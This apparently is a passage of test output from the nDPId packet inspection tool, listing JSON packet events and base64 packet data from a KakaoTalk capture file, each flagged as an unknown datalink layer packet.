+00479{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1205,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":715888,"pkt_caplen":129,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":129,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHEAAEAAHBH+CQHJAa4KGFK8WgYoHABdRoaAbE\/Fiz2kGguGVRk27fKuFssI5ZGIcW6shvbsRP7ZL28dF7f5SsFK4tV0HNxQJM3nNlR\/nqOo7iFNPYFeKaKNGMRj2\/TuTgC8Lj9ijbAtHSDyWAn9"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1205,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00587{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1206,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":716040,"pkt_caplen":209,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":209,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMEAAEAAHBH9uQHJAa4KGFK8WgYoHACtkSGAbE\/Giz2n2guGVRkC7ZdZBoWHrzEwELmGE4XlftjfIryxvEr7B3IO+LAuhd22AqQl7wfY4Pnd0rgc6uHYNSCRPL7UhKePo6FBOQXBZXfYpU+LP++nkt+F7dcc1hIn6847J2315l5FGClOmyYbKMGlVWNTCQrbNi10A7zLaHAOnxqSkq\/zz6aQN8gHS\/qve4CsC3UcBv85YjVE6bbf4EswHef8dBI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1206,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00457{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1207,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":719397,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGEAAEAAHRH9GQHJAa4KGFK8WgQsOABNdeiAbDJLfq0Fw1SapdpNqwYGA0r\/yvegjM2HU6PufVYqQdN4guEYXTgU1NFdr2qZ4CKnPXt5DjU3X8qYJrLKzzBsrDfBJN0="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1207,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1208,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":724829,"pkt_caplen":124,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":124,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGwAAEAAQBHaNgoYUrwByQGuKBxaBgBY74uAbDJPfq0Uw1Sapdo4S6qqs+OxcwsQWEP4qnj\/2YtcA4uyP9Hl8klVjrupJnu03qM2mGoRKtyHp3dDNu36rQXWspFMyL0DuIUVRv5HfssDpA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1208,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00610{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1209,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":813086,"pkt_caplen":224,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":224,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAANAAAEAAPxHa0goYUrwByQGuLDhaBAC8NCuAbE\/Kiz222guGVRlceeNym\/BrMwIRqAt2JZCriUmKzJ0LMNdrlOp0hQ6zfvJBtp0cieajlzdFB\/DNMrrysH0ydqJnGwTC9ElNYe4ubhum2CzqO4LyjEIb5xeVwQ3RHOz0ovPW5y56jTzr\/ztVczYqVIwTdX\/3kEOOnHX\/VdmjIY0phvaXOdDx6DHIwXNL2HU8bth4FzrMtBxuI6HAr65+zbExfmIOUAJWefTIQJmDicG5VVU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1209,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00573{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1210,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":813269,"pkt_caplen":201,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":201,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALkAAEAAPxHa6QoYUrwByQGuLDhaBAClBF6AbE\/Liz26mguGVRmG2YPbClppUR6wvIY6uop9EDbelA2R88wP35NKtqjmMqwfGkVCO+cPjD19EETJhgyMU+bJlBW4d96JliBKV4srO9RFrAFB1XmdUq1aTi4s+8bo7t13KvZLaKgu2lGPbe0DPsuyKSXxR77pi5fKsg6IZV7rgFTW5ezTsKLikCtoiH+XhxDyIgCy76XShu89hyuu"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1210,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00490{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1211,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":823371,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHgAAEAAQBHaKgoYUrwByQGuKBxaBgBkV1mAbDJQfq0Yg1Sapdq2BZfPPQRW35bxqzQuMKRk7xkMBV7rlz95wZVJ54dGltLdbPgduMbNSpFTYvM+h\/\/lVTC9uJ0ZQkgkcACJ7JwNGZSWOljyTlbXjBNwVZ7Aww=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1211,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1212,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":859900,"pkt_caplen":124,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":124,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGwAAEAAQBHaNgoYUrwByQGuKBxaBgBYtbuAbDJRfq0cQ1Sapdr3hsT7snaruG1AdBDyJqHnAK5LaNVBaUWwg4GyQFG2aNj7EZio4DBZ1aTRg\/RLdOc6IruFzLIJJHsrQNimWJE0C+48Kw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1212,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00502{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1213,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":871375,"pkt_caplen":145,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":145,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIEAAEAAHRH8+QHJAa4KGFK8WgQsOABtWm6AbDJMfq0Jg1Sapdo4rhGhmHHRsL33rqG3E8a2hyk\/XPaPzDCjRwE+PT7GD43xmZZkR7VbOWzbe9WZuP3PYHA29NiFvilLM0hGFTc8f5SHsnQeeM3oVUf75FZKR4L+bh\/RZsVqZQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1213,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00464{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1214,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":902198,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGUAAEAAQBHaPQoYUrwByQGuKBxaBgBRAqyAbDJSfq0gA1SapdoNX\/YBV+wNjMfKt1S7PNWJ3uHYd\/E+dZMDSWSPfUNV9qTU6hLurH2\/Ga\/S+B9RhFlotjxx5vygpsoVlMjl"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1214,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00566{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1215,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":908118,"pkt_caplen":193,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":193,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALEAAEAAPxHa8QoYUrwByQGuLDhaBACdk56AbE\/Miz2+WguGVRn5ZY2Z5qNNpqDs3822fgDVMi6VC\/WQ2w6s4BOZYkyuENV12PyJRkAmkSvK3cETXfOaCty7tA5h7zdcJVWBbAbqtj10o9kDv2vdeghV1QpWFtULXrlFwbRGcK46BPJtrTLYT82JlY9TUudM2Gfg5GH0XqimYoVKMHOMh03wOfVXIfVYeKLt3QZ84w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1215,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1216,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069187,"pkt_ts_usec":985694,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGAAAEAAQBHaQgoYUrwByQGuKBxaBgBMGViAbDJTfq0jw1Sapdqg9REBnOrExdlpeAZQE+uBrFNU0BQmY5elDnB8Y6D+yGe+ADt7xEbGLfipBNJts1mTFSjfYNV+Vg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1216,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00568{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1217,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":12732,"pkt_caplen":193,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":193,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALEAAEAAPxHa8QoYUrwByQGuLDhaBACdSZiAbE\/Niz3CGguGVRkqsuJemWbGGwwBf6nQL1wFf9kHnV1NSPIXV\/RI4Iwl5vWBre6MW7q079X73Fy9kKRmAvlvwqw8UIXoPsackG4U4juq2K3iJ9s6f2Iw8t14okmbiX6rrWc+ov+eXg0JMLBJ0W59wrkZ\/M2cDWjxAlyvRspRg5LTAEZZ09OsZNeh\/oEiJMUHjg2\/Ug=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1217,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00578{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1218,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":12915,"pkt_caplen":201,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":201,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALkAAEAAPxHa6QoYUrwByQGuLDhaBAClq9aAbE\/Oiz3F2guGVRm4JreS0PrFtpfwDfC2u5HL8uape+jXyal1\/Mj5xQUrftNcniS4IPozvmxqK21\/rkaKxE+4eAse9R5iVIxWztrk5vw159scCuKL6rssEnOusCRaE\/tXsSM\/dy8Gxd1f6JukzzbIgWiFH5Q5ofb\/UhzxzSSgHmJEtNYppWcunH37Wxo9TlVBV\/FfCbitD9p7ZU2D"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1218,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00599{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1219,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":17310,"pkt_caplen":219,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":219,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMsAAEAAHBH9rwHJAa4KGFK8WgYoHAC3RnuAbE\/Hiz2rmguGVRmVv9TmxFPYKrM9T0FcLkaWME+KtD84JcBBJWR85V8vvAkgUL+hs\/gjokaDCnPLVPce\/Vxu9T1xveZmVw54ms0JizOKUaZi7d7mz+jQ3MNDbwGo+vVs4wjgR6+d02\/imY7qQqQdRCEqRoxXuxQDqenlFUvdkPMUgZlSY2ZN4alU2KBiVXN4vOBLkE4u5AaI4pToZtt8Xl5QKXoGoG10jd992fRq"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1219,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00457{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1220,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":24146,"pkt_caplen":113,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":113,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGEAAEAAQBHaQQoYUrwByQGuKBxaBgBN8ESAbDJUfq0ng1Sapdpoz8vb1t7EA+Pk+CL5Ne3NyNhNNxlYaLExwMqnGvNpdiyQOOmk1h8MWCt\/wW6mrjfCfB\/ZT6nKkBM="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1220,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00504{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1221,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":31867,"pkt_caplen":148,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":148,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIQAAEAAHRH89gHJAa4KGFK8WgQsOABwqGKAbDJNfq0NQ1Sapdr0ppZAxkK9vjhZAyFRspGmx\/2hGiMr3OpSCijr0yEOBnkX+L3f2k8bgukZqN8lAcPrTYuyx5xWVHBYLluqTNXSsb8LZY35czeRMZKdUmiw2sKqVYB3tHNK3JWsyg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1221,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00502{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1222,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":59424,"pkt_caplen":145,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":145,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIEAAEAAHRH8+QHJAa4KGFK8WgQsOABtu6+AbDJOfq0RA1SapdoURDdAwZf+GbSVDnxePLME0jX4fD\/2v729EAW7Z7zpXn8ToJDmmpY71RR7zZDJqWPQ6iUX\/cLQkiCuXZlDqI9\/Sc9YhgqvnjgLSsG1JVP2tebnfYkP10xGMA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1222,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00599{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1223,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":72150,"pkt_caplen":218,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":218,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMoAAEAAHBH9sAHJAa4KGFK8WgYoHAC2EgmAbE\/Iiz2vWguGVRm8b5KThZtA3SJUIS9nRclaUSrtFBR11npQbuxNRM+8Tu9z2lPCdQXOAz7rjjKyj8rKTC6gpaq8DTfOmmFxWp8kZp7N6OPcdOooyOlfNdiAr\/1SbyyzU4XSI6veV+Ofx6oZyPohkQpsOTSeHTwDuyfg3yWu1LreTUfjvv1RCjz\/Idhwc8YU+raCFXGPcsHzz61lFmxRIvBQk\/lJebaMpu3J9JI="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1223,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00598{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1224,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":99524,"pkt_caplen":219,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":219,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMsAAEAAHBH9rwHJAa4KGFK8WgYoHAC3V9WAbE\/Jiz2zGguGVRm0z4cJQwUvKkzQXfpaJ5KABq3BP4gkPhAAtHySoTUKgDGTHyyMkYHnKCkOLn80E7LcbVRIuNbFXTus0CzCrOqXZ6XFljDL5LqPbhM1HKU9eoOdhfwq\/flzYAb2vM+TIRR1txy9aA1Zg4WfLGO5guB1QRyQV0olxoYuQj83Lg3iqyrKyxxZXtOFEYVIoJQBH8Fw+fsSG\/J4p+Q1pa109iI4nz4h"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1224,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00450{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1225,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":103705,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAQBHaSAoYUrwByQGuKBxaBgBG6pyAbDJVfq0rQ1SapdpQp\/AhDCX1T1UBzOuRtJdbDtGHSvd7misTrItHQ\/6ri6xtOhqiclep2MMxm9R6j1xI2g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1225,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00602{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1226,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":108252,"pkt_caplen":217,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":217,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMkAAEAAPxHa2QoYUrwByQGuLDhaBAC1Y8yAbE\/Piz3JmguGVRnDAEcgLr2GAZBsrBtJzx+WZrwowLea71CKE3r5ZQ1nHNtWluSxP70\/YnzCMSPuncZ\/GYyBSC7N5OBHkIEHyxfDMpzD7b\/LxvWFAhnkLP69JfAMpRrPJV6WYi7b9Or7V3F9cYMCR6hvVLZApO+Vah\/EqEydbETBYZpnsEGYPc6m2wBAXTO\/S218KDrRUH5I7xLxnVpnnmtS1uUyPZ9PWZC2jA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1226,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00578{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1227,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":109351,"pkt_caplen":202,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":202,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAALoAAEAAPxHa6AoYUrwByQGuLDhaBACmvBqAbE\/Qiz3NWguGVRn70gttv3f0TRM64F6cKC34fIMQCgh5BymzICa+K1R5Kqu9G1uXc98pR46N8XC+u6NJRaujOyi1clT+0cqlC1ZA8Gyny5Zs55drvKm4lAvh1vY8t81C6gP4OU+P6aRm9tRqWFS7DfWfODcVFRWffsV9tCqO3TdO+4EzDQlbV9i7d9xJVxIWGnEvJkrw7hPhc5\/Avw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1227,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1228,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":113318,"pkt_caplen":124,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":124,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGwAAEAAHRH9DgHJAa4KGFK8WgQsOABY63GAbDJPfq0Uw1Sapdo4S6qqs+OxcwsQWEP4qnj\/2YtcA4uyP9Hl8klVjrupJnu03qM2mGoRKtyHp3dDNu36rQXWspFMyL0DuIUVRv5HfssDpA=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1228,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00610{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1229,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":152137,"pkt_caplen":224,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":224,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANAAAEAAHBH9qgHJAa4KGFK8WgYoHAC8OEWAbE\/Kiz222guGVRlceeNym\/BrMwIRqAt2JZCriUmKzJ0LMNdrlOp0hQ6zfvJBtp0cieajlzdFB\/DNMrrysH0ydqJnGwTC9ElNYe4ubhum2CzqO4LyjEIb5xeVwQ3RHOz0ovPW5y56jTzr\/ztVczYqVIwTdX\/3kEOOnHX\/VdmjIY0phvaXOdDx6DHIwXNL2HU8bth4FzrMtBxuI6HAr65+zbExfmIOUAJWefTIQJmDicG5VVU="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1229,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00573{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1230,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":163459,"pkt_caplen":201,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":201,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALkAAEAAHBH9wQHJAa4KGFK8WgYoHAClCHiAbE\/Liz26mguGVRmG2YPbClppUR6wvIY6uop9EDbelA2R88wP35NKtqjmMqwfGkVCO+cPjD19EETJhgyMU+bJlBW4d96JliBKV4srO9RFrAFB1XmdUq1aTi4s+8bo7t13KvZLaKgu2lGPbe0DPsuyKSXxR77pi5fKsg6IZV7rgFTW5ezTsKLikCtoiH+XhxDyIgCy76XShu89hyuu"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1230,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1231,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":166205,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAQBHaRAoYUrwByQGuKBxaBgBKdhaAbDJWfq0vA1SapdoRwDdehE\/\/DYyXjma3dHi7Z7RpkbFL5knFqOfjHPFpc+AdAqRgOSNxLdLKa8Gakd76X+YMBOc="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1231,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00490{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1232,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":171607,"pkt_caplen":136,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":136,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHgAAEAAHRH9AgHJAa4KGFK8WgQsOABkUz+AbDJQfq0Yg1Sapdq2BZfPPQRW35bxqzQuMKRk7xkMBV7rlz95wZVJ54dGltLdbPgduMbNSpFTYvM+h\/\/lVTC9uJ0ZQkgkcACJ7JwNGZSWOljyTlbXjBNwVZ7Aww=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1232,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00563{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1233,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":209571,"pkt_caplen":191,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":191,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAK8AAEAAPxHa8woYUrwByQGuLDhaBACb94mAbE\/Riz3RGguGVRmrEphSxvHShg6nv+35kHNqaom7ObMFZ8L3QBy1VDayWSo6W7z3++GcjUHvDVSgCN7X8\/HSS+Te5nIyU4wALQSHgSDOvMxpAgaBNJFUyhiEz2cLz+zZSzv1h7vfMGoHJkDf\/CRnor1vt1FE8ENG3yAslvrwBhbUfJ1HuB2+bwwgwvf0bcNWhtk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1233,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1234,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":245124,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAQBHaSAoYUrwByQGuKBxaBgBGfu+AbDJXfq0yw1SapdrVdkFK\/fjusDEmTyYkzXj4vVypgyo\/ngaTQ202AcuNGdNJnf\/Dw\/M+GXgdVQ9aJ6PJQw=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":1234,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00490{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1235,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069188,"pkt_ts_usec":305976,"pkt_caplen":137,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":137,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHkAAEAAQBHaKQoYUrwByQGuKBxaBgBludiAbDJYfq02g1SapdopmW41PM5Ebi0ezXyrB53oW\/x6VIM4rXFCcf1ZZNG7H2kkV1gKNsjN7ShF1LH\/sXH3t+Dh5RafWp8xjNrumdIFAWBjuDITFrfohR37ZxhCA2w="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer 